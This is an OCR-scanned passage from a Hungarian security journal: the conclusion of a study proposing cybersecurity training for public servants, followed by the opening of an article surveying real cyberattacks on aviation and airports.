Képzési forma |Képzés K1 |K2 |K3 |K4 |K5 |K1* |K2* |K3* [K4* |K5*
roviditése

BSc/ NKEKNY |v |- v v v v |- e v

BA OF BM v v v v |- - - v v v

MSC/MA NKE KB v v v v |- - - - MR
NKEVIKR |v |v v v v |v |v |v |v |-

Szakiranya NKE EIB v v v - - - - - -

tovabbképzés (fiTEAsz v |- v v |- - v v |- -
OEKSZ v - v v v - i - B _
OE ISZ v v v - B - _ v _
GDFAIM |v |- v - - R B R -
NKE EUA v v |- - v v - B -

Azonban egyértelmUen kijelenthetd, hogy a hazai fels6oktatasi rendszerben jelenleg
nem létezik olyan képzés, amely teljeskorlen lefedi az el6z8ekben definialt kdzszolgalati
kibervédelmi képesség kialakitasahoz sziikséges alapismereteket, vagyis nincs olyan
képzés, amely kell6 mértékben és 6sszhangban tartalmazna a sziikséges kozigazgatasi,
jogi és informatikai, muszaki ismeretanyagot. A kozszolgalati kiberbiztonsagi képzés
elhatarolddik az allami és dnkormanyzati szervezetek informacidbiztonsagarél sz6lé
2013. évi L. torvényben (Ibtv.) meghatarozott, az elektronikus informacios rendszer
védelméért felelds személyek feladatelldtashoz sziikséges fels6éfoku végzettségtol,
mivel nem egy konkrét pozicidra ad képesitést, hanem sokkal altalanosabb tudast
ad at minden kozszolgéalatban dolgozé személy szamara.

A kozszolgalati kiberbiztonsagi képzés meghatarozasa

Az eddigi fejezetekben meghataroztam a kdzszolgalat szamara sziikséges tudashalmazt
és megvizsgaltam, hogy létezik-e olyan, a fels6oktatasi rendszerben elérheté képzés,
amely a felvazolt sziikséges ismeretkoroket tartalmazza. Mivel egyértelm(en kideriilt,
hogy nem talalhatd ilyen képzés hazankban, ezért elengedhetetlen egy olyan képzés
definialasa, amely lefedi ezen ismereteket.

A kovetkezékben meghatdrozom a kdzszolgalati kiberbiztonsagi képzés alapvet6
fogalmainak, elemeinek definicidjat, értelmezését, a bemeneti, képzési és kimeneti
kovetelményeit.

A kiberbiztonsagi képzés definialasa

Ahhoz, hogy definidlhassuk magat a képzést, elengedhetetlen a kibervédelmi
képesség pontos meghatarozasa. A képzés szempontjabdl fontos, hogy ebben
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az esetben a személyes kibervédelmi képességrél beszéliink. Természetesen a végsd
cél a kozszolgalat szervezeti szint( kibervédelmi képességének kialakitasa, ezaltal
a kiberbiztonsag fejlesztése, amelynek elsé |épése a szervezet alkalmazottai koré-
ben e képesség elsajatitasa. A szervezeti és a személyi kibervédelmi képesség tehat
elkilonul egymastdl, de egymasra épiil. A kibervédelmi képesség magaban foglalja
az informaciobiztonsag-tudatossagot is, alapvetd részeként értelmezhets, amely
elengedhetetlen feltétele e képesség kialakitasanak.

Ezek alapjan a kibervédelmi képesség azon személyes kibervédelmi képességek
Osszességét jelenti, amely a kibertérbél érkezd jelenleg ismert vagy ismeretlen fenye-
getések és tamadasok megel&zésére, felismerésére és megakadalyozasara iranyul.

E képesség kialakitasat célozza a k6zszolgalati kiberbiztonsagi képzés, amely
a kozszolgalatban dolgozé személyek kibervédelmi képességének kialakitasara iranyul
a kozszolgalati kiberbiztonsag fejlesztése érdekében.

A képzés jelen esetben egyfajta tudasatadas a kdzszolgalatban dolgozé sze-
mélyek, dontéshozdék szamara, hogy a kibertérb6l érkezd jelenleg ismert vagy
ismeretlen fenyegetéseket és tamadasokat képesek legyenek megeldzni, felismerni
és megakadalyozni.

A képzés célja a kdzszolgalatban dolgozé személyek, dontéshozok ismeretének
maddszeres kiterjesztése a kibervédelmi képességhez sziikséges tudassal, amelynek
segitségével a kibertérbél érkezd jelenleg ismert vagy ismeretlen fenyegetések
és tdmadasok kockazatat azonosithatjak, esetlegesen a végrehajtas soran kisebb
mértékben beavatkozhatnak.

A képzési forma alapvetd elemeinek, kbvetelményeinek meghatarozasa

A képzés alapvet6 be- és kimeneti kdvetelményeit és a képzés céljat tekinti at a 3. abra.
Az alfejezet tovabbi részében ezen elemeket részletezem.

A képzést elvégz6 személy képes legyen kiberbiztonsagi
feladatok elvégzésére sajat munkakornyezetében
(korabban definialt feladatok T1-T22 végrehajtasa).

A kézszolgélatban dolgozé személyek kibervédelmi
? \ képességeinek kialakitasa és fejlesztése
() ’ L (korabban definialt KSA-elemek atadasa).

‘ J Bemenet A kdzszolgalat valamely teriiletén
rendelkezzenek munkaviszonnyal.

3. abra
A kdzszolgalati kiberbiztonsagi képzés definicidja és alapvetdi kbvetelményei.
Forras: a szerzd szerkesztése
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A képzés bemeneti kovetelménye, hogy a képzésben részt vevs személy a kozszol-
galat valamely teriletén rendelkezzen munkaviszonnyal és hazai alapképzési, illetve
mesterképzési szakkal vagy ezzel egyenértékd kilfoldi felsGoktatasi végzettséggel.

A képzés soran a kozszolgalatban dolgozé személyek a kibervédelem elmé-
leti és gyakorlati oldalat is egyarant megismerhetik, hiszen a képzés egy elméleti
és egy gyakorlati részb6l all. Az elméleti részben a résztvevok elsajatithatjak tobbek
kozott — a teljesség igénye nélkiil — a munkajukhoz szorosan kapcsolédo allamtudo-
manyi, jogi és kozigazgatas-szervezési ismereteket, biztonsagpolitikai, diplomaciai
ismereteket, rendészeti, katonai és védelmi ismereteket, kommunikacids ismereteket,
informatikai alapismereteket, informacié- és informatikai biztonsagi ismereteket,
valamint adatvédelmi ismereteket. Ahhoz, hogy a képzés résztvevsi a megszerzett
elméleti tudast éles helyzetbe is at tudjak ultetni, a képzés gyakorlati része nyujt
segitséget, amely soran konkrét tamadasokkal szembesiilhetnek, amelyeket 6nalléan
vagy csapatban kell megoldaniuk. Ennek szerepe, hogy az alkalmazottakat ne érje
varatlanul egy valds tamadas és meg tudjak hozni a megfeleld, sok esetben stratégiai
dontéseket. A képzés gyakorlati része a hazai és nemzetkozi oktatasban is megjelené
kibergyakorlatokra épiil, amelyek soran konkrét tamadasok szimulalasaval a mar
meglévd tudasra alapozva, 0sszekapcsolhato az elméleti és a gyakorlati tudas. Ennek
kovetkeztében a résztvevok képesek lesznek felismerni a kibertérbél érkezé fenyege-
téseket és esetleges kockazatokat. A képzés gyakorlati része soran a mindennapos
izemeltetési feladatokkal és az informacids rendszer, valamint az ehhez kapcsolddd
folyamatok, eljarasok megfelelGségének ellendrzésével is meg kell birkdzniuk a hall-
gatoknak.

A képzés kimeneti kovetelménye, hogy a képzést elvégz6 személy képes legyen
a korabban definialt és azonositott feladatok elvégzésére sajat munkakdrnyezetében.
A képzés abszolvalasat kovetden a kordbban emlitett teriileteken szerezhetnek széles
kor(i szakmai ismereteket, valamint a mindennapi munkajuk soran el6fordulé aktualis
és lehetséges kihivasok megoldasara szolgald szakmai kompetenciakat.

Osszegezve a kozszolgalati kiberbiztonsagi képzés egy gyakorlatban is alkal-
mazhatd szakmai tudast, valamint problémafelismeré és -megoldé készséget nyujt
résztvevdinek, amelynek elsajatitasaval képesek felismerni, feltérképezni a kiberta-
madasok tamadasi feliileteit és megel6z8 lépéseket tenni a kdrnyezetében jelentkezd
kibertamadasi pontokon. Tovabba a résztvevék képesek lesznek azonositani egy-egy
konkrét tamadast, illetve beavatkozni sziikség esetén.

Kovetkeztetések

Az el6z6 fejezetek egyfajta elSkészitései és egyben bizonyitasai voltak a hipotézisek
megvalaszolasanak. Jelen fejezet célja, hogy az elsé fejezetben megadott hipotézisekre
egyértelm( valaszt adhassak.

Az els6 hipotézisben azt vizsgaltam, hogy a kdzszolgalatban dolgozd személyek
szamara szikséges-e a NICE altal és mas egyéb nem a NICE altal meghatarozott
ismeretkorok elsajatitasa. Ennek érdekében elészor azonositottam a célcsoportot,
majd az e csoporthoz tartozé feladatokat. Az igy definialt feladatokat a NICE-ban
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talalhato ismerethalmazzal prébaltam meg lefedni. A lefedetlen pontokat uj, altalam
meghatarozott ismeretkorokkel bévitettem.

A masodik hipotézis esetén azzal a feltételezéssel éltem, hogy a hazai fels6oktatasi
rendszerben jelenleg nem létezik olyan képzés, amely lefedi a kdzszolgalati kibervé-
delmiképesség kialakitasahoz sziikséges alapismereteket. Ennek érdekében a tobbek
kozott hazai felséoktatasi képzésekrél tajékoztatast nyujto felvi.hu portal segitségével
feltartam a 2020 szeptemberében indulé kiberbiztonsaggal kapcsolatos képzéseket.
Az egyes képzések képzési, illetve tantargyi programjai segitségével bemutattam
azok alapveté jellemzdit, a képzéseket csoportositottam a tobbciklusu bolognai
rendszer fazisai alapjan, és megvizsgaltam, hogy az egyes képzések tartalmazzak-e
az elsé hipotézisben meghatarozott tudaselemeket. Ez alapjan megallapithato, hogy
amasodik hipotézis igaznak bizonyul, hiszen egyik képzés sem fedte le maradéktalanul
a sziikséges alapismereteket.

A harmadik hipotézisben azt feltételeztem, hogy a magyar kdzszolgélat szamara
definidlhato egy felséoktatasi kiberbiztonsagi képzés. A feltételezés igazolasara defi-
nidltam a képzést, annak be- és kimeneti kdvetelményeit, valamint fébb elemeit,
az elsé hipotézisben meghatarozott ismerethalmaz segitségével.

Osszegzés és jovébeli tervek

A kiberbiztonsag egy gyorsan valtozo, folyamatosan fejl6d6 és bévilé terilet, amely
egyre Ujabb és Ujabb kihivasokat, illetve fenyegetéseket tartogathat szamunkra.
A kozszolgélat hatékony és eredményes miikodéséhez elengedhetetlen a kibertér
hasznalata, azonban szdmos elénye mellett a hatranyaival és az esetleges kockaza-
tokkal is szamolnunk kell.

Jelen tanulmanyban bizonyitottam, hogy szlikséges egy olyan eddig még nem
létezd képzési program megalkotasa a hazai képzési kornyezetben, amely lehet6séget
nyujt a kdzszolgalatban dolgozo, nem informatikai végzettségl személyek kibervédelmi
képességének kialakitasara. E képesség alatt a személyes kibervédelmi ismeretek
és képességek dsszessége érthetd. A kiberbiztonsagi képzés azoknak a személyeknek
sz6l, akik nem rendelkeznek a sziikséges alapismeretekkel, nem mozognak a témaban
otthonosan.

A bizonyitas soran a kdvetkez6 lépéseket hajtottam végre:

1. Definidltam a képzés tényleges célcsoportjat és azonositottam azokat az alta-

lanos kibervédelmi feladatokat, amelyekkel a kézszolgalatban dolgozdk
a mindennapi munkajuk soran szembekertilhetnek.

2. Meghatdroztam azokat a tudas-, képesség- és készségelemeket, amelyeket
szlikséges atadni a kdzszolgalatban dolgozd személyeknek, hogy a kiberbiz-
tonsagi feladataikat maradéktalanul ellathassak.

3. Megvizsgaltam azokat a kiberbiztonsaggal kapcsolatos képzéseket, amelyekre
Magyarorszagon jelenleg (2020 szeptemberétél) jelentkezni lehet. Osszesen
tizilyen képzést azonositottam (alapképzések, mesterképzések és szakiranyt
tovabbképzések felbontasaban), bemutattam a képzések céljat és alapvets
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jellemzdit. Majd ezt kdvet&en megvizsgaltam, hogy a képzések tantervei
lefedik-e a sziikséges ismereteket.

4. Végil definialtam a kozszolgalati kiberbiztonsagi képzés programjat, amelyhez
meghataroztam a képzés be- és kimeneti kdvetelményeit és a képzés konkrét
céljat.

A kutatas folytatasaként elengedhetetlen a nemzetkdzi képzések vizsgalata az esetle-
ges ,jo gyakorlatok” atvétele érdekében, a képzés konkrét tematikajanak kidolgozasa,
a szamonkérések tipusanak meghatarozasa az egyes témakorokhoz, végil a képzési
célok tdmogatasahoz sziikséges mUszaki kornyezet definidlasa.
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Horvath Jozsef
A repulés elleni kibertamadas

Cyberattack Against Aviation

Korabbi cikkeimben t6bb alkalommal foglalkoztam a repiilés elektronikai zavarasaval,
ebbe beleértve az eddig mar megtortént esetek dsszegydijtését, illetve a repiiléssel
kapcsolatos tevékenységek kiilonb6z6 helyszinein (repllétéri rendszerek, repiilé-
siranyitas, radar- és kommunikacids rendszerek stb.) térténé elektronikai zavaras
hatasanak elemzését. Ebben a cikkben a repiilés elleni tdmadas egy masik maodjat,
anapjainkban kiemelt témanak szamité kibertdmadas eseteit vizsgalom. Szamos példat
lehet talalni megtortént esetekrél, amelyek eddig nem okoztak tragédiat, azonban
sajnos ez kdnnyen megtoérténhet a jovében. Ahhoz, hogy a jévében alkalmazhaté
védelmi megoldasokat talaljunk, elemezni kell a mar megtortént eseményeket.

Kulcsszavak: kibertamadas, hackertamadas, repiilés, zsarolévirus

In my previous articles | have dealt with the electronic jamming of aviation several
times, for instance, | collected and analysed the effects of electronic jamming at dif-
ferent locations of aviation related activities (airport systems, flight control, radar
and communication systems, and so on). In this article, | investigate another type
of attacks against aviation, a hot topic: cyberattacks. There are many examples of
events that have not yet caused tragedy, but unfortunately this can easily happen
in the future. In order to find future protection solutions, we need to analyse what
has already happened.

Keywords: cyberattack, hacker attack, aviation, ransomware

Bevezetés

A cikk szorosan kapcsolodik a korabban végzett, a Replilterek, mint kritikus infrastruktdra
védelme az elektronikai zavaras vonatkozasaban cimi kutatasomhoz. A kutatas soran
foglalkoztam a repliléssel és a repiil&terekkel mint kritikus infrastrukturaval,? vizsgal-
tam az elektronikai zavaras valos eseteit,? illetve elemeztem az elektronikai zavarassal
torténd tamadas és az ellene torténd védekezés lehetséges maodjait.*
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Az elektronikai zavaras® az elektronikai hadviselés® egyik funkciojanak, az elektro-
nikai ellentevékenységnek’ fontos teriilete, az elektronikai megtévesztés® és az elekt-
ronikai pusztitas® mellett. Az elektronikai hadviselés részletesebb bemutatésa a téma
vonatkozasaban azért fontos, mert szamos publikacioban az elektronikai hadviselést
a kiberhadviselés részeként soroljak fel. Itt fontos megjegyezni, hogy a ,kiilénb6z6
katonai feladatok egyik alkotd eleme az elektronikai hadviselés (EHV), amely napjaink
konfliktusaiban folyamatosan jelen van, a mvelettervezési folyamatokban és a feladatok
végrehajtasa soran hatassokszorozd,'® hatasnoveld képességként veszik figyelembe.
Korabban az informacidés miiveletek," az ellenséges légvédelem lefogasa' vagy a cél-
meghatdarozas/céltervezés® szerves alkotoelemeként tekintettek ra, mig napjainkban
a gyakran emlegetett Anti-Access — Area-Denial (hozzaférést gatlo — terliletmegtagado,
A2/AD) eljaras szerves részeként is kezelik."™ Mind magyar,™ mind kilfoldi kutatok™
publikacidiban is talalhatunk utalast a kiberhadviselés és az elektronikai hadviselés
kozotti 6sszefonodasra.

Napjaink egyik leggyakrabban emlegetett tamadasi mddszere az informatikai
rendszerek ellen alkalmazott kibertamadas. Szamos magyar kutaté foglalkozott mar
arepllés, a légiiranyitas, a repil&terek elleni tamadasokkal, illetve az ezen tdmadasok
elleni védelemmel," akik elsédlegesen a korabbi években, évtizedekben jellemzé
tamadasi és védelmi megoldasokat vizsgaltak, ebbe mar beleértve a dronok alkalmazasa
altal jelentett veszélyeztetettséget is.”® Magyarorszag haldzati és informacids rend-

> Electronic Jamming, EJ.

© Az elektronikai hadviselés ,olyan hatas-alapu katonai tevékenységek/miiveletek Gsszessége, amelyek elekt-
romagneses kornyezetben, az elektromagneses energia tudatos hasznalataval biztositjak az elektromagne-
ses mUveletek részeként végrehajtott tdmado és védelmi jellegli hatasok/célok elérését”. Magyar Honvédség
Osszhaderdnemi Elektronikai Hadviselés Doktrina. 2. kiadas. 2015.

7, Azelektronikai zavaras az elektromagneses energia szandékos kisugarzasa, visszasugarzasa vagy visszatiikrozése azzal
a céllal, hogy korlatozza vagy megakadalyozza az ellenség altal hasznalt elektronikai eszk6zok, berendezések és rend-
szerek rendeltetésszer(i miikddését.” Magyar Honvédség Osszhaderénemi Elektronikai Hadviselés Doktrina i. m. (6. j.)

8  Electronic Deception, ED.

°  Electronic Neutralisation, EN.

1 A'miivelettervezés soran sok esetben az angol terminoldgiaban alkalmazott ,Enabler” széval parositjak.

" Information Operations, INFOOPS.

2. Suppression of Enemy Air Defence, SEAD.

3 Targeting, AAP-6 (2011).

" Horvath Joézsef: A Magyar Honvédség elektronikai hadviselési képességének fejlesztése szoftverradiok
alkalmazaséval. Doktori értekezés. Nemzeti Kézszolgalati Egyetem, Budapest, 2018. Elérhetd: www.uni-nke.hu/
document/uni-nke-hu/horvath_jozsef_sandor_doktori_ertekezes_2018.pdf (A letéltés datuma: 2019. 06. 04.)

' Kovacs Laszld: Az elektronikai hadviselés jelene és lehetséges jovéje. Hadmérndk, 12. (2017), 1. 213-232. Elérhe-
t6: www.hadmernok.hu/171_17_kovacs.pdf (A letoltés datuma: 2019. 06. 04.)

' Julian Turner: The new battlefield: the race to integrate cyber and electronic warfare. 2018. Elérhet6: https://
defence.nridigital.com/global_defence_technology_special/the_new_battlefield_the_race_to_integrate_cy-
ber_and_electronic_warfare# (A let6ltés datuma: 2019. 06. 04.)

7 Szabd Sandor — Toth Rudolf: RepiilSterek kialakitasa, [étesitményeinek kritikus elemei, védelmiik lehetséges mi-
szaki megoldasai. Repiiléstudomanyi Kozlemények, 25. (2013), 2. 89-113. Elérhetd: www.repulestudomany.hu/
kulonszamok/2013_cikkek/2013-2-07-Szabo_Sandor-Toth_Rudolf.pdf (A letéltés datuma: 2019. 07. 06.); Balogh
Zsuzsanna: AIGIS — A repiil6terek védelmében. Repiiléstudomanyi Kézlemények, 23. (2011), 2. Kinsz. Elérhet6:
http://epa.oszk.hu/02600/02694/00055/pdf/EPA02694 _rtk_2011_2_Balogh_Zsuzsanna.pdf (A letoltés datuma:
2019. 07. 06.); Kovacs Zoltan: Repulétéri létesitmények fizikai védelme IED ellen. Repiiléstudomanyi Kozlemények,
26. (2014), 2. 106-113. Elérhetd: http://epa.oszk.hu/02600/02694/00065/pdf/EPA02694 rtk_2014_2_106-113.
pdf (A letéltés datuma: 2019. 07. 08.)

8 Makkay Imre: Drénok harca. Repiiléstudomanyi Kézlemények, 27. (2015), 1. 61-72. Elérhetd: https://epa.oszk.
hu/02600/02694/00067/pdf/EPA02694 _rtk_2015_1_061-072.pdf (A let6ltés datuma: 2019. 07.10.)

Hadmérnok « 15. évfolyam (2020) 3. szam


http://www.uni-nke.hu/document/uni-nke-hu/horvath_jozsef_sandor_doktori_ertekezes_2018.pdf
http://www.uni-nke.hu/document/uni-nke-hu/horvath_jozsef_sandor_doktori_ertekezes_2018.pdf
http://www.hadmernok.hu/171_17_kovacs.pdf
https://defence.nridigital.com/global_defence_technology_special/the_new_battlefield_the_race_to_integrate_cyber_and_electronic_warfare
https://defence.nridigital.com/global_defence_technology_special/the_new_battlefield_the_race_to_integrate_cyber_and_electronic_warfare
https://defence.nridigital.com/global_defence_technology_special/the_new_battlefield_the_race_to_integrate_cyber_and_electronic_warfare
http://www.repulestudomany.hu/kulonszamok/2013_cikkek/2013-2-07-Szabo_Sandor-Toth_Rudolf.pdf
http://www.repulestudomany.hu/kulonszamok/2013_cikkek/2013-2-07-Szabo_Sandor-Toth_Rudolf.pdf
http://epa.oszk.hu/02600/02694/00055/pdf/EPA02694_rtk_2011_2_Balogh_Zsuzsanna.pdf
http://epa.oszk.hu/02600/02694/00065/pdf/EPA02694_rtk_2014_2_106-113.pdf
http://epa.oszk.hu/02600/02694/00065/pdf/EPA02694_rtk_2014_2_106-113.pdf
https://epa.oszk.hu/02600/02694/00067/pdf/EPA02694_rtk_2015_1_061-072.pdf
https://epa.oszk.hu/02600/02694/00067/pdf/EPA02694_rtk_2015_1_061-072.pdf

Horvath Jozsef: A repiilés elleni kibertamadas

szerek biztonsagara vonatkozd stratégiaja szerint a kibertér , globalisan &sszekapcsolt,
decentralizalt, folyamatosan valtozo elektronikus informacios rendszerek, valamint
ezen rendszereken keresztil adatok és informacidk formajaban megjelend tarsadalmi
és gazdasagi folyamatok egylittesét jelenti”.” A kibertdmadas tehat e rendszerek
és folyamatok elleni tdmadast jelenti.

Visszautalva az el6z6 bekezdésben ismertetett elektronikai zavarasra, kihangsulyoz-
nam, hogy jelentds veszélynek értékelhet6, és nehezen elharithato, amennyiben egy
repul&tér ellen azonos idében hajtanak végre kibertamadast és elektronikai zavarast.

Amennyiben éltalanossagban vizsgaljuk a kibertamadasokat, kijelentheté, hogy
szamos ok miatt hajtottak mar végre ilyen tdmadast, az okok kdzott szerepel a bosszu/
megtorlas, az eltéré gondolkoddsmod vagy vallds, illetve természetesen az anyagi
haszonszerzés. A korabban végrehajtott kibertdmadasok kézott az egyik legismertebb
ilyen eset az Esztorszag elleni tdamadas 2007-ben. Ennek kivalté oka az a kormanyzati
dontés volt, miszerint a Tallinn kdzéppontjaban all6 szovjet katona szobrat at kell
helyezni a kozeli katonai temetSbe. A szobor a helyi orosz kisebbségnek a felsza-
baditét, azt észt tobbségnek azonban az elnyomot képviselte. Az észt nacionalistak
és az oroszbarat csoportok kozott is fontos vita zajlott a szoborral kapcsolatban.
A szobor eltavolitasa aprilis 26-an kezd6dott, a kornyéken békés tlintetések zajlottak,
amelyek hamarosan erészakos megmozdulasokka fajultak, ezek felett a rendérség
masnap reggelre szerezte vissza a kontrollt. A szamitogépes tamadasok 2007. aprilis
27-én kezdddtek, és 22 napon keresztiil tartottak. A tdmadasok soran valtozatos
modszereket alkalmaztak kiildonb6z6 méretben és szervezettségben, amelyek alap-
vetSen a kormanyzati szolgaltatasok ellen irdnyultak. Mivel azonban a tdmadasok
sikeresen korlatoztak ezeket a kormanyzati rendszereket, az jelentds kihatassal volt
az atlagemberekre és az lzleti életre is.°

Az Esztorszag elleni tdmadas elkdvetsjeként Oroszorszagot nevezte meg szamos
szakmai szervezet, azonban a kiilonb6zé kibertamadasokkal kapcsolatban meg kell
emliteni szamos egyéb csoportot, szervezetet is, igy tobbek kdzott a semelyik allamhoz
sem kothet6 Anonymous hackercsoportot, az Oroszorszaghoz kapcsoléddé Fancy Bear
csoportot, az Eszak-Koreahoz kapcsolt Lazarus hackercsoportot, illetve az Amerikai
Nemzetbiztonsagi Ugynokséget.?”

Arepiilés kibertdmadassal befolyasolhato rendszerei

A repiilés teljes folyamata soran alkalmazott rendszereket, szolgaltatasokat szamos
szempont szerint lehet csoportositani. En az alabbi megbontast alkalmazom, kiegé-
szitve a véleményem szerint még a témahoz kapcsolddd teriiletekkel:

¥ 1838/2018. (XII. 28.) Korm. hatarozat Magyarorszag halozati és informacids rendszerek biztonsagara vo-
natkozo Stratégiajarol. Elérhets: www.kormany.hu/download/2/f9/81000/Strat%C3%A9gia%20honla-
pon%20k%C3%B62z%C3%A9t%C3%A%telre-20180103_4829494_2_20190103130721.pdf (A letsltés
datuma: 2019. 07. 10.)

20 Rain Ottis: Analysis of the 2007 Cyber Attacks Against Estonia from the Information Warfare Perspective. 2008.
Elérhetd: https://ccdcoe.org/uploads/2018/10/Ottis2008_AnalysisOf2007FromThelnformationWarfarePer-
spective.pdf (A letsltés datuma: 2019. 09. 14.)

2 National Security Agency, NSA.
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* Repul6gépek, repiiléshez kapcsolddd eszkozok, rendszerek (repiilégépek
és elektronikai rendszerei, radarok, radarrendszerek, vilagitérendszerek stb.)
tervezése, gyartasa, lizemeltetése.

« A légitarsasagi utasfuvarozas, utashely-foglalas, tarifalas, jegykiallitas.

* Repul6teéri utaskezelés (indulo- és atszallojegy-, valamint poggyaszkezelés,
beszallékartya és mas forgalmi vonatkozasok: repiilégép suly- és egyensuly-
szamitasa, rakodastervezés, konténeres rendezés).

+ Légiaru (cargo) -helyfoglalas, tarifalas, okmanyolas, raktari funkciok, jarat-els-
készités, kulonleges arukategdriak, valamint a cargo kapcsolatrendszere
a nemzetkdzi ligynokségi disztriblcidval, vammal, repiil6téri funkciokkal stb.

+ Légitarsasagi és repilétéri automatizalas (nemzetkozi poggyaszkeresés
és adminisztracio, utast és poggyaszt 6sszekdt6 és biztonsagi megfeleltetd
megoldasok, fizikai poggydaszosztalyozas és -iranyitas, jaratinformacios
rendszerek.

- Légitarsasagi operativ Uzemiranyitas (Utvonal-, halozattervezés, menetrend-
és géprotacio-tervezés, menetrendszerkesztés és napi operativ menetrendi
funkcidk, repiilégépek mliszaki karbantartasanak tervezése és termelésiranyitasi
rendszerek, hajozdszemélyzet-tervezés és -vezénylés, navigacids rendszerek
(Gtvonal- és lizemanyag-tervezés, repiilési feltételek vizsgalata, példaul mete-
orologia), digitalis fold-levegé kapcsolat)."2

Mint az a felsorolasbdl is lathato és kikdvetkeztethetd, minden rendszerben ott van
az informatika, minden eleme befolyasolhato lehet, akar egy részegység miikddésé-
nek atprogramozasaval, akar egy teljes rendszerbe torténd behatolassal és a rendszer
iranyitasanak atvételével. Lényeges az is, hogy egy tarsasag rendszere, a tarsasag
méretétdl figgben akar az egész vilagra kiterjedhet. Minél nagyobb egy rendszer,
annal sériilékenyebb, annal nehezebb a védelme, hiszen nem lehet mindenre kiterjedd
védelmi rendszert tizemeltetni, annak human, pénziigyi és technikai er6forrasigénye
miatt. Természetesen nem szabad elfelejtenilink, hogy minden rendszerben ott van
a legfontosabb 6sszetevd, az ember is, aki a pszicholdgiai befolyasolas? célpontjava
valhat.

Fontos azt is szamitasba venni, hogy a fenti rendszerek kiilonbz6, mas szerveze-
tek altal izemeltetett elemekkel, halozatokkal vannak kapcsolatban. Az ezekben lévé
informatikai hidnyossagok, illetve az ezek ellen inditott tamadasok hatasa kihatassal
van a kapcsolédé mas rendszerekre, szolgaltatasokra, igy a repiilésre is.

A repiilés elleni tamadasok

Amikor a repll6terek és repulésiranyitas sériilékenységét vizsgaljuk, szamos termé-
szetes és mesterséges okot lehet felsorolni. Ernszt Ildiké A nemzetkozi [égikdzlekedés

2 Gonda Zsuzsanna: Repiilési informatika. Bicske, SZAK, 2005.
% Social Engineering.
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védelme cimU kdnyvében a légi terrorizmussal kapcsolatban az alabbi cselekményeket
hatarozta meg mint elkovetési modokat:
.repulégép eltérités;

+ repul6terek elleni tdmadas;

+ repulégépek felrobbantasa;

« repul&terek kiszolgalo teriiletei elleni tamadasok;

« repulégépek lelovése;

+ egyéb, gépek ellen elkdvetett blincselekmények, incidensek, szabotdzs akciok”.%*

Korabbi cikkemben szdmos esetet mutattam be végrehajtott fizikai tamadasokrol,
illetve vizsgaltam elektronikai zavarassal kapcsolatos incidenseket.?> Fontos azt
megjegyezni, hogy az elektronikai zavarassal, illetve kibertamadasokkal kapcsolatban
még nem tortént haldleset, mig a fizikai tamadasok szamos emberéletet kdveteltek.
Ezen esetek kozll megemlithetjiik az 1972. majus 30-an az izraeli Lod repiil6terén
elkovetett tdmadast, amelynek 26, az 1975. december 29-én a New York LaGuardia
repterén tortént tamadast, amelynek 11, az 1982. augusztus 7-én a torok Esenboga
nemzetkozi repll6téren tortént tamadast, amelynek 9, az 1983. julius 25-én, az Orly
repulétéren tortént tamadast, amelynek 8 halalos dldozata volt, a szdamos sériilt
mellett. Ezen esetek mellett tobb olyan esemény is tértént, amelyek elemzésével
szamos tanulmany foglalkozott mar, igy a 20071. szeptember 11-i, az Amerikai Egyesilt
Allamok ellen elkévetett repiil6gép-eltéritéses tamadas, illetve a 2016 marciusaban
Briisszelben, a repiil6téren elkdvetett kettds robbantas.?®

Az Eurdpai Unids Halozat- és Informaciobiztonsagi Ugynokség? a repiilSterek
mUikodését befolydsolo, rosszindulatu, szandékos tevékenységeket — beleértve a fizikai
és az informatikai jellegli tamadasokat is — az alabbiak szerint csoportositotta:

« Tulterheléses tamadas (Denial of Service [DoS]).

« Szoftverhiba kiaknazasa.

+ Jogok/jogosultsagok nem megfelel6 hasznalata.

+ Halodzati behatolds/tamadas.

« Pszicholdgiai tamadas (befolyasolas).

+ Lehallgatas eszkdzokkel.

+ Fizikai hozzaférés.

« Rosszindulatu szoftverek az informatikai eszk6zokon (beleértve a személyzet

és az utasok eszkozeit is).
+ Fizikai tdamadas a repiilétér ellen.?®

24 Ernszt Ildiko: A nemzetkézi légikozlekedés védelme. Karoli Gaspar Reformatus Egyetem, Allam- és Jogtudomanyi
Kar, Budapest, 2010.

% Horvath (2018) i. m.

2 Qthiresreptériterrortamadas. 2016. Elérhetd: http://mult-kor.hu/ot-hires-repteri-terrortamadas-20160322?pldx=1
(A letoltés datuma: 2019. 09. 14.); Itt a biztonsagi kamera felvétele az Orly repiiltéren tértént tamadasrol. Origo,
2017. Elérhets: www.origo.hu/nagyvilag/20170321-itt-biztonsagi-kamera-felvetele-a-parizsi-orly-repuloteri-ta-
madasrol.html (A letéltés datuma: 2019. 09. 14.)

¢ European Union Agency for Network and Information Security, ENISA.

% ENISA. 2016.
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A replilterek tervezése és kialakitasa cim( kdnyvben a szerz6k kiilon fejezetben fog-
lalkoznak a repil&tér létesitése soran figyelembe veendé szempontokkal. A tervezés
egyik eleme, hogy a repiil6tér személyzete, a repil6térrel kapcsolatban allok részt
vegyenek egy kozos gondolkodason (brainstorming), amelyen azt elemzik, hogy
hogyan lehetne a repiil6teret megtamadni, és ez alapjan alakitsanak ki védelmi
megoldasokat. E szempontok kdzott szerepel tobbek k6z6tt az informatikai rendszer
elleni behatolas tesztelése.?

A replilés elektronikai zavarasanak valos esetei cim(i cikkemben mar foglalkoztam
areplilés elemei (repiil6gépek, repiilésiranyitas stb.) elleni tamadasokkal, legféképpen
az elektronikai zavaras elemzésével. A fent emlitett cikkben részletesen bemutattam
a megtortént elektronikai zavarasokat, illetve érint6legesen foglalkoztam a kiber-
tamadasokkal is. A napjainkban megtdrtént kibertamadasokat a kdvetkezé alfejezetben
mutatom be részletesen.

A repiilés elleni kibertamadas valos esetei

Napjainkban a reptil&terek ellen szamos esetben kévetnek el kibertdmadast, amelynek
soran elsédlegesen a foldi kiszolgald rendszerek elleni tdmadasok a jellemz6k. Ismertté
valt kibertamadasok a repiilés vonatkozasaban:

1. Atatlirk és Sabiha Gokgen nemzetkézi replilStér, Isztambul, Térékorszag (2013.)

2013. julius 26-an mindkét nemzetkozi repiilétér miikddése drakra sziinetelt,
az Utlevélkartya- és a bevandorlasi rendszerek ledlltak, illetve az indulé gépek sem
szallhattak fel. Helyi sajtéorganumok szerint a rendszerleallds oka az Isztambuli
Tartomanyi Biztonsagi Rendszer elleni kibertamadas volt, azonban ezt a hivatalos
szervek nem erdsitették meg.°
2. Norwich nemzetkézi repiiltér, Norwich, Eqgyesilt Kiralysag (2015.)

Egy angol férfi az adatbazisok lekérdezésén alapuld SQL-injekcidval tamadta a Nor-
